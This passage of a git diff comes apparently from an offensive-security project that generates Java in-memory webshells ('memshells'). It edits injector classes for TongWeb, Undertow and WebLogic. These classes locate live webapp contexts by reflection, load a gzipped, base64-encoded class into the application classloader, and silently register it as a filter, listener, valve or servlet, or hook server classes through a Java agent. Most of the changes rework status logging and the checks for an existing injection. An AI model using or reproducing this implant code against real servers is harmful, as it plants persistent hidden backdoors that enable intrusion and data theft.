@@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer { for (String targetClass : TARGET_CLASSES) { if (targetClass.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at " + name + ".doFilter"); } } } @@ -68,6 +67,7 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index fa0c3627..7fc1acea 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -10,14 +11,14 @@ import java.util.Collection; import java.util.HashSet; import java.util.Map; import java.util.Set; -import java.util.logging.Logger; import java.util.zip.GZIPInputStream; /** * @author ReaJason */ public class TongWebFilterInjector { - Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName()); + + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -32,15 +33,42 @@ public class TongWebFilterInjector { } public TongWebFilterInjector() { + Set contexts = null; try { - Set contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } /** @@ -86,21 +114,22 @@ public class TongWebFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object filter) throws Exception { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - logger.warning("filter already injected"); return; } String filterClassName = getClassName(); @@ -137,7 +166,11 @@ public class TongWebFilterInjector { Object filterConfig = constructor.newInstance(context, filterDef); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); filterConfigs.put(filterClassName, filterConfig); - logger.info("filter inject success"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -212,6 +245,22 @@ public class TongWebFilterInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index e157620e..93e89ad5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream; */ public class TongWebListenerInjector { - public TongWebListenerInjector() { - try { - Set contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -33,6 +24,45 @@ public class TongWebListenerInjector { return "{{base64Str}}"; } + public TongWebListenerInjector() { + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public Set getContext() throws Exception { Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); @@ -64,15 +94,17 @@ public class TongWebListenerInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") @@ -81,7 +113,6 @@ public class TongWebListenerInjector { List listeners = Arrays.asList(objects); for (Object o : listeners) { if (o.getClass().getName().contains(getClassName())) { - System.out.println("listener already injected"); return; } } @@ -101,6 +132,11 @@ public class TongWebListenerInjector { } } + @Override + public String toString() { + return msg; + } + @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -145,7 +181,7 @@ public class TongWebListenerInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -193,4 +229,19 @@ public class TongWebListenerInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 2602a874..1881a8db 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream; */ public class TongWebValveInjector { - public TongWebValveInjector() { - try { - Set contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -33,6 +24,45 @@ public class TongWebValveInjector { return "{{base64Str}}"; } + public TongWebValveInjector() { + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public Set getContext() throws Exception { Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); @@ -64,23 +94,28 @@ public class TongWebValveInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object valve) throws Exception { Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object v : valvesList) { + if (v.getClass().getName().contains(getClassName())) { + return; + } } Class valveClass = null; ClassLoader contextClassLoader = context.getClass().getClassLoader(); @@ -97,22 +132,13 @@ public class TongWebValveInjector { } } invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); - System.out.println("valve injected successfully"); } - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { - Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } - @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -159,7 +185,7 @@ public class TongWebValveInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -187,4 +213,20 @@ public class TongWebValveInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index 48cb1c10..cbdf367d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -4,6 +4,7 @@ import javax.servlet.DispatcherType; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class UndertowFilterInjector { - public UndertowFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -38,6 +29,45 @@ public class UndertowFilterInjector { return "{{base64Str}}"; } + public UndertowFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -67,20 +97,21 @@ public class UndertowFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object filter) throws Exception { if (isInjected(context)) { - System.out.println("filter already injected"); return; } Class filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo"); @@ -91,7 +122,6 @@ public class UndertowFilterInjector { Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); - System.out.println("filter inject success"); } @SuppressWarnings("unchecked") @@ -110,6 +140,11 @@ public class UndertowFilterInjector { return false; } + @Override + public String toString() { + return msg; + } + @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -154,7 +189,7 @@ public class UndertowFilterInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -196,4 +231,19 @@ public class UndertowFilterInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index c760f68f..707b7ba0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.undertow; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -17,16 +18,45 @@ import java.util.zip.GZIPInputStream; */ public class UndertowListenerInjector { + private String msg = ""; + public UndertowListenerInjector() { + List contexts = null; try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public String getClassName() { @@ -65,21 +95,30 @@ public class UndertowListenerInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object listener) throws Exception { - if (isInjected(context)) { - System.out.println("listener already injected"); - return; + List allListeners = (List) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners"); + if (allListeners != null) { + for (Object allListener : allListeners) { + Class l = (Class) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass"); + if (l != null) { + if (l.getName().contains(getClassName())) { + return ; + } + } + } } Class listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo"); Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); @@ -88,25 +127,13 @@ public class UndertowListenerInjector { Class managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener"); Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); - System.out.println("listener inject success"); } - public boolean isInjected(Object context) throws Exception { - List allListeners = (List) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners"); - if (allListeners != null) { - for (Object allListener : allListeners) { - Class listener = (Class) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass"); - if (listener != null) { - if (listener.getName().contains(getClassName())) { - return true; - } - } - } - } - return false; + @Override + public String toString() { + return msg; } - @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -152,7 +179,7 @@ public class UndertowListenerInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -181,4 +208,19 @@ public class UndertowListenerInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java index 82ae0330..0b99ca00 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java @@ -40,7 +40,6 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest"); } } } @@ -61,6 +60,7 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index 38bdd294..a3edb883 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.undertow; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -17,17 +18,7 @@ import java.util.zip.GZIPInputStream; */ public class UndertowServletInjector { - public UndertowServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -41,6 +32,45 @@ public class UndertowServletInjector { return "{{base64Str}}"; } + public UndertowServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -69,15 +99,17 @@ public class UndertowServletInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object servlet) throws Exception { @@ -85,7 +117,6 @@ public class UndertowServletInjector { Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null); Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()}); if (servletHandler != null) { - System.out.println("servlet already injected"); return; } @@ -100,7 +131,11 @@ public class UndertowServletInjector { Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null); Object data = invokeMethod(servletPaths, "setupServletChains", null, null); setFieldValue(servletPaths, "data", data); - System.out.println("servlet inject success"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -147,7 +182,7 @@ public class UndertowServletInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -195,4 +230,19 @@ public class UndertowServletInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java index 6b6eda18..7381ad12 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.weblogic; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream; */ public class WebLogicFilterInjector { + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -27,15 +30,42 @@ public class WebLogicFilterInjector { } public WebLogicFilterInjector() { + Set contexts = null; try { - Object[] contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public static Object[] getContextsByMbean() throws Throwable { @@ -117,7 +147,7 @@ public class WebLogicFilterInjector { * /opt/oracle/wls1036/server/lib/weblogic.jar * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar */ - public static Object[] getContext() { + public static Set getContext() { Set webappContexts = new HashSet(); try { webappContexts.addAll(Arrays.asList(getContextsByMbean())); @@ -127,7 +157,7 @@ public class WebLogicFilterInjector { webappContexts.addAll(Arrays.asList(getContextsByThreads())); } catch (Throwable ignored) { } - return webappContexts.toArray(); + return webappContexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { @@ -141,22 +171,26 @@ public class WebLogicFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { - if (isInjected(context)) { - System.out.println("filter already injected"); - return; + Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters"); + for (Object obj : filters.keySet()) { + if (obj.toString().contains(getClassName())) { + return; + } } Object filterManager = invokeMethod(context, "getFilterManager", null, null); Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); @@ -166,18 +200,11 @@ public class WebLogicFilterInjector { List filterPatternList = (List) getFieldValue(filterManager, "filterPatternList"); Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); filterPatternList.add(0, currentMapping); - System.out.println("filter inject successful"); } - @SuppressWarnings("all") - public boolean isInjected(Object context) throws 